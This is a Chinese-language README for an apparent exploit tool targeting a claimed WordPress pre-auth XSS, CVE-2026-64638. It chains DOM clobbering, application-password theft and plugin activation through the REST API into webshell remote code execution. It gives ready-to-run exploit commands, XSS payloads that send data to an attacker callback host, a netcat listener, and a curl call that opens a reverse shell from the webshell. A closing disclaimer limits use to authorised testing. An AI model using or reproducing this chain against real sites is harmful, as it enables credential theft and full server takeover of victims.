
CVE-2026-64638 — WordPress 预认证反射型 XSS → 通过 DOM Clobbering 实现 RCE + 应用密码窃取 + REST API 插件激活。双模式 PoC(XSS 链 & 直接)。
WordPress 预认证反射型 XSS → 远程代码执行链
DOM Clobbering + 应用密码窃取 + REST API 插件激活 = 完整 RCE
CVE-2026-64638 是 WordPress wp-login.php 中的一个严重预认证反射型 XSS 漏洞。该漏洞源于登录错误消息在回显提交的用户名时未进行正确的 HTML 编码,从而允许通过 <area id=ajaxurl> 进行 DOM Clobbering,绕过大多数过滤器。
当与 WordPress 的应用密码功能链式利用时,此 XSS 可成为完整远程代码执行攻击链 —— 受害者在已登录状态下仅需访问一个精心构造的触发页面,无需其他交互。
┌─────────────────────────────────────────────────────────────────┐
│ [1] XSS (Reflected) │
│ wp-login.php reflects <area id=ajaxurl> in username error │
│ ↓ │
│ [2] DOM Clobbering │
│ <area id=ajaxurl> hijacks wp-admin JS → auto-submits form │
│ ↓ │
│ [3] Application Password Theft │
│ XSS redirects victim to authorize-application.php │
│ success_url callback captures app password │
│ ↓ │
│ [4] REST API Plugin Activation │
│ App password → Basic Auth → wp-json/wp/v2/plugins → active │
│ ↓ │
│ [5] Webshell RCE │
│ Plugin PHP webshell → uid=33(www-data) │
│ Reverse shell also available │
└─────────────────────────────────────────────────────────────────┘
| 版本 | 状态 | 备注 |
|---|---|---|
| WordPress ≤ 6.9.5 | ✅ 存在漏洞 | 尚未包含回溯修复的 Docker 镜像仍可利用 |
| WordPress 6.9.6+ | ⚠️ 已修补(2026年8月7日回溯修复) | 8月7日之后重建的 Docker 镜像已包含修复 |
| WordPress 7.0.x | ✅ 存在漏洞 | 已在 7.0.2 版本确认 |
| WordPress 7.1+ | ❓ 未知 | 未测试 |
pip3 install requests
仅此而已。其余部分均由 Python 3.8+ 标准库完成。
# Clone
git clone https://github.com/linuxhackingid/XSS2Shell-CVE-2026-64638.git
cd XSS2Shell-CVE-2026-64638
# Auto mode (recommended)
python3 poc_fixed_v2.py --mode auto -u USER -p PASS --lhost YOUR_IP http://target.com
python3 poc_fixed_v2.py -u admin -p password123 --lhost 192.168.1.100 http://target.com
# Terminal 1: Run the exploit (starts callback server)
python3 poc_fixed_v2.py --mode xss --lhost 192.168.1.100 http://target.com
# Terminal 2: Host the trigger page
cd /path/to/XSS2Shell-CVE-2026-64638
python3 -m http.server 8000
# Send victim: http://192.168.1.100:8000/trigger_target.com.html
受害者必须以管理员身份登录 WordPress。触发页面将:
wp-login.phpauthorize-application.php 供受害者批准python3 poc_fixed_v2.py --mode direct -u admin -p password123 http://target.com
直接登录 → 上传插件 → 即时获得 webshell。无需 XSS。
# In one terminal
nc -lvnp 4444
# In another — the exploit auto-triggers reverse shell when --lhost is set
python3 poc_fixed_v2.py --mode direct -u admin -p pass --lhost 192.168.1.100 --lport 4444 http://target.com
或通过 webshell 手动触发:
curl 'http://target.com/wp-content/plugins/xss2shell/xss2shell.php?rev=YOUR_IP:4444'
XSS2Shell-CVE-2026-64638/
├── poc_fixed_v2.py # Main exploit script (dual-mode)
├── poc.py # Original PoC (for reference)
├── trigger_192.168.0.87.html # Example trigger page
└── README.md # This file
< area id=ajaxurl shape=default href="http://attacker:9090/collect" >
<button id="wp-auth-check" onclick="window.ajaxurl='http://attacker:9090/collect'">x</button>
工作原理:
sanitize_user() 会去除标准 HTML 标签,但会漏掉带前导空格的 <area><area id=ajaxurl> 执行 DOM Clobbering —— 劫持 wp-admin JavaScript 所使用的 window.ajaxurlwp_auth_check 定时器触发后,XSS 将受害者重定向到 authorize-application.phpsuccess_url 参数将生成的密码发送到攻击者的回调服务器一旦捕获应用密码:
/wp-json/wp/v2/ 进行身份验证POST /wp-json/wp/v2/plugins/{slug} 发送 {"status":"active"}wp-content/plugins/xss2shell/xss2shell.php?cmd=COMMAND?rev=IP:PORT 生成 /bin/sh -i 反弹回攻击者| 目标 | 版本 | 模式 | 结果 |
|---|---|---|---|
| Docker(本地) | WordPress 7.0.2 | XSS 链 | ✅ 以 www-data 权限实现 RCE |
| Docker(本地) | WordPress 7.0.2 | 直接 | ✅ 以 www-data 权限实现 RCE |
| Docker(本地) | WordPress 6.7 | XSS 链 | ✅ 以 www-data 权限实现 RCE |
此工具仅用于授权的安全测试与研究。作者对误用不承担任何责任。测试前务必获得书面许可。
“没有利用,就没有报告。” — Shannon 方法论